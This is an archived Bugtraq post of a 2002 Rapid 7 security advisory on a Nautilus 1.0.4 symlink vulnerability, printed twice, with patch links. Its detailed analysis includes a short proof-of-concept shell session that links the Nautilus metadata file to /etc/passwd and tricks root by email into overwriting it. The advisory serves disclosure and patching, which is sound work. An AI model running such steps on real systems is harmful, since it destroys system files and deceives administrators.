Bugtraq mailing list archives

R7-0003: Nautilus Symlink Vulnerability


From: Joe Testa <jtesta () rapid7 com>
Date: Thu, 02 May 2002 16:13:50 -0400

[ My mail client, Mozilla 1.0 RC1, mangles this advisory and ruins the signature. See attached file for signed version.]

_______________________________________________________________________
                   Rapid 7, Inc. Security Advisory

          Visit http://www.rapid7.com/ to download NeXpose(tm), our
          advanced vulnerability scanner. Linux and Windows 2000
          versions are available now!
_______________________________________________________________________

Rapid 7 Advisory R7-0003: Nautilus Symlink Vulnerability

    Published:  05/02/2002
    Revision:   1.0
    CVE ID:     CAN-2002-0157
    Bugtraq ID: 4373


1. Affected system(s):

    KNOWN VULNERABLE:
     o Nautilus 1.0.4

    Apparently NOT VULNERABLE:


2. Summary

    Nautilus is a graphical shell for GNOME.  It contains a vulnerability
which would allow a malicious user to mount a symlink attack to overwrite
    another user's files.


3. Vendor status and information

    Nautilus
    Eazel, Inc.
    http://nautilus.eazel.com/

    The Nautilus team was notified on 03/26/2002.


4. Solution

    Upgrade to the latest version of Nautilus, available at
    http://cvs.gnome.org/lxr/source/nautilus/, or apply the appropriate
    patch:


    RedHat 7.2:

    SRPMS:
ftp://updates.redhat.com/7.2/en/os/SRPMS/nautilus-1.0.4-46.src.rpm

    i386:
ftp://updates.redhat.com/7.2/en/os/i386/nautilus-1.0.4-46.i386.rpm
ftp://updates.redhat.com/7.2/en/os/i386/nautilus-devel-1.0.4-46.i386.rpm
ftp://updates.redhat.com/7.2/en/os/i386/nautilus-mozilla-1.0.4-46.i386.rpm

    ia64:
ftp://updates.redhat.com/7.2/en/os/ia64/nautilus-1.0.4-46.ia64.rpm
ftp://updates.redhat.com/7.2/en/os/ia64/nautilus-devel-1.0.4-46.ia64.rpm


    Slackware:

ftp://ftp.slackware.com/pub/slackware/slackware-8.0/patches/


5. Detailed analysis

    When copying files from one directory to another, Nautilus creates a
small (88+ bytes) XML file called '.nautilus-metafile.xml' in the target
    directory.  It does not check if a symlink with the same name already
    exists there, and blindly writes XML data to it.  The following example
    shows how to cause a system-wide denial of service attack with this
    vulnerability:

    [jdog@imisshogs jdog]$ pwd
    /home/jdog
    [jdog@imisshogs jdog]$ cat /etc/passwd
    root:x:0:0:root:/root:/bin/bash
    bin:x:1:1:bin:/bin:/sbin/nologin
    daemon:x:2:2:daemon:/sbin:/sbin/nologin
    adm:x:3:4:adm:/var/adm:/sbin/nologin
    lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
    [...snip...]
    jdog:x:500:500::/home/jdog:/bin/bash
    [jdog@imisshogs jdog]$ ln -s /etc/passwd .nautilus-metafile.xml
    [jdog@imisshogs jdog]$ mail root
    Subject: Yo.
        Could you please copy "creepy-in-new-york.doc" to my home directory
    (/home/jdog)?  Thanks.

        - Joe
    Cc:
    [jdog@imisshogs jdog]$ sleep 86400
    [jdog@imisshogs jdog]$ ls -l *.doc
-rw-r--r-- 1 root root 13 Mar 24 18:09 creepy-in-new-york.doc
    [jdog@imisshogs jdog]$ cat /etc/passwd
    <?xml version="1.0"?>
    <directory>
    <file name="creepy-in-new-york.doc" icon_position="55,105"/>
    </directory>
    [jdog@imisshogs jdog]$


6. Contact Information

       Rapid 7 Security Advisories
       Email:   advisory () rapid7 com
       Web:     http://www.rapid7.com/
       Phone:   +1 (212) 558-8700


7. Disclaimer and Copyright

    Rapid 7, Inc. is not responsible for the misuse of the information
    provided in our security advisories. These advisories are a service
    to the professional security community.  There are NO WARRANTIES
    with regard to this information. Any application or distribution of
    this information constitutes acceptance AS IS, at the user's own
    risk.  This information is subject to change without notice.

    This advisory Copyright (C) 2002 Rapid 7, Inc.  Permission is
    hereby granted to redistribute this advisory in electronic media
    only, providing that no changes are made and that the copyright
    notices and disclaimers remain intact.  This advisory may not be
    printed or distributed in non-electronic media without the
    express written permission of Rapid 7, Inc.

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_______________________________________________________________________
                   Rapid 7, Inc. Security Advisory

          Visit http://www.rapid7.com/ to download NeXpose(tm), our
          advanced vulnerability scanner. Linux and Windows 2000
          versions are available now!
_______________________________________________________________________

Rapid 7 Advisory R7-0003: Nautilus Symlink Vulnerability

    Published:  05/02/2002
    Revision:   1.0
    CVE ID:     CAN-2002-0157
    Bugtraq ID: 4373


1. Affected system(s):

    KNOWN VULNERABLE:
     o Nautilus 1.0.4

    Apparently NOT VULNERABLE:


2. Summary

    Nautilus is a graphical shell for GNOME.  It contains a vulnerability
    which would allow a malicious user to mount a symlink attack to overwrite
    another user's files.


3. Vendor status and information

    Nautilus
    Eazel, Inc.
    http://nautilus.eazel.com/

    The Nautilus team was notified on 03/26/2002.


4. Solution

    Upgrade to the latest version of Nautilus, available at
    http://cvs.gnome.org/lxr/source/nautilus/, or apply the appropriate
    patch:


    RedHat 7.2:

    SRPMS:
ftp://updates.redhat.com/7.2/en/os/SRPMS/nautilus-1.0.4-46.src.rpm

    i386:
ftp://updates.redhat.com/7.2/en/os/i386/nautilus-1.0.4-46.i386.rpm
ftp://updates.redhat.com/7.2/en/os/i386/nautilus-devel-1.0.4-46.i386.rpm
ftp://updates.redhat.com/7.2/en/os/i386/nautilus-mozilla-1.0.4-46.i386.rpm

    ia64:
ftp://updates.redhat.com/7.2/en/os/ia64/nautilus-1.0.4-46.ia64.rpm
ftp://updates.redhat.com/7.2/en/os/ia64/nautilus-devel-1.0.4-46.ia64.rpm


    Slackware:

ftp://ftp.slackware.com/pub/slackware/slackware-8.0/patches/


5. Detailed analysis

    When copying files from one directory to another, Nautilus creates a
    small (88+ bytes) XML file called '.nautilus-metafile.xml' in the target
    directory.  It does not check if a symlink with the same name already
    exists there, and blindly writes XML data to it.  The following example
    shows how to cause a system-wide denial of service attack with this
    vulnerability:

    [jdog@imisshogs jdog]$ pwd
    /home/jdog
    [jdog@imisshogs jdog]$ cat /etc/passwd
    root:x:0:0:root:/root:/bin/bash
    bin:x:1:1:bin:/bin:/sbin/nologin
    daemon:x:2:2:daemon:/sbin:/sbin/nologin
    adm:x:3:4:adm:/var/adm:/sbin/nologin
    lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
    [...snip...]
    jdog:x:500:500::/home/jdog:/bin/bash
    [jdog@imisshogs jdog]$ ln -s /etc/passwd .nautilus-metafile.xml
    [jdog@imisshogs jdog]$ mail root
    Subject: Yo.
        Could you please copy "creepy-in-new-york.doc" to my home directory
    (/home/jdog)?  Thanks.

        - Joe
    Cc: 
    [jdog@imisshogs jdog]$ sleep 86400
    [jdog@imisshogs jdog]$ ls -l *.doc
    -rw-r--r--    1 root     root           13 Mar 24 18:09 creepy-in-new-york.doc
    [jdog@imisshogs jdog]$ cat /etc/passwd
    <?xml version="1.0"?>
    <directory>
    <file name="creepy-in-new-york.doc" icon_position="55,105"/>
    </directory>
    [jdog@imisshogs jdog]$


6. Contact Information

       Rapid 7 Security Advisories
       Email:   advisory () rapid7 com
       Web:     http://www.rapid7.com/
       Phone:   +1 (212) 558-8700


7. Disclaimer and Copyright

    Rapid 7, Inc. is not responsible for the misuse of the information
    provided in our security advisories. These advisories are a service
    to the professional security community.  There are NO WARRANTIES
    with regard to this information. Any application or distribution of
    this information constitutes acceptance AS IS, at the user's own
    risk.  This information is subject to change without notice.

    This advisory Copyright (C) 2002 Rapid 7, Inc.  Permission is
    hereby granted to redistribute this advisory in electronic media
    only, providing that no changes are made and that the copyright
    notices and disclaimers remain intact.  This advisory may not be
    printed or distributed in non-electronic media without the
    express written permission of Rapid 7, Inc.

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